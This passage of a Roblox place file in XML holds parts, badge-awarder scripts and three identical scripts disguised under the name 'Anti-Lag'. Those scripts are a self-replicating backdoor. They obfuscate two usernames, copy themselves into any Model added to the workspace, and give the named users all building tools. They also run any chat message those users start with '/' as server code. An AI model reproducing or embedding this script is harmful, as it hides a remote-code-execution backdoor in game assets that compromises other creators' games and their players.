											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3751">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3752">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX3753">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">0</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-251</X>
											<Y>11.5999994</Y>
											<Z>259.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">0</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">0</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX3754">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX3755">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX3756">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3757">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX3758">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3759">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3760">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1759</X>
						<Y>7.4000001</Y>
						<Z>91</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX3761">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3762">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX3763">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Model" referent="RBX3764">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">BadgeAwarder</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX3765">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">2</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">2</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-1642</X>
						<Y>7.4000001</Y>
						<Z>111</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">2</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">2</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Platform</string>
					<float name="Reflectance">1</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">2</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">2</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>10</X>
						<Y>1.20000005</Y>
						<Z>10</Z>
					</Vector3>
				</Properties>
				<Item class="Decal" referent="RBX3766">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=52673856</url></Content>
						<float name="Transparency">0</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX3767">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
						<string name="Name">BadgeAwarderScript</string>
						<ProtectedString name="Source">print(&quot;Badge Awarder Loaded. BadgeID: &quot; .. script.Parent.BadgeID.Value)



-- ROBLOX scripter hackers, see what you can do with this:
-- game:GetService(&quot;BadgeService&quot;):UserHasBadge(userid, badgeid)


function OnTouch(part)
	if (part.Parent:FindFirstChild(&quot;Humanoid&quot;) ~= nil) then
		local p = game.Players:GetPlayerFromCharacter(part.Parent)
		if (p ~= nil) then
			print(&quot;Awarding BadgeID: &quot; ..script.Parent.BadgeID.Value .. &quot; to UserID: &quot; .. p.userId)
			local b = game:GetService(&quot;BadgeService&quot;)
			b:AwardBadge(p.userId, script.Parent.BadgeID.Value)
		end
	end
end

script.Parent.Touched:connect(OnTouch)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="IntValue" referent="RBX3768">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">BadgeID</string>
						<int name="Value">52673914</int>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX3769">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1735</X>
					<Y>73.4000015</Y>
					<Z>122</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>10</X>
					<Y>1.20000005</Y>
					<Z>14</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3770">
			<Properties>
				<bool name="Anchored">false</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1735</X>
					<Y>89</Y>
					<Z>122</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>10</X>
					<Y>1.20000005</Y>
					<Z>14</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3771">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1738</X>
					<Y>34.4000015</Y>
					<Z>116</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>16</X>
					<Y>14.4000006</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX3772">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">21</int>
				<CoordinateFrame name="CFrame">
					<X>-1738</X>
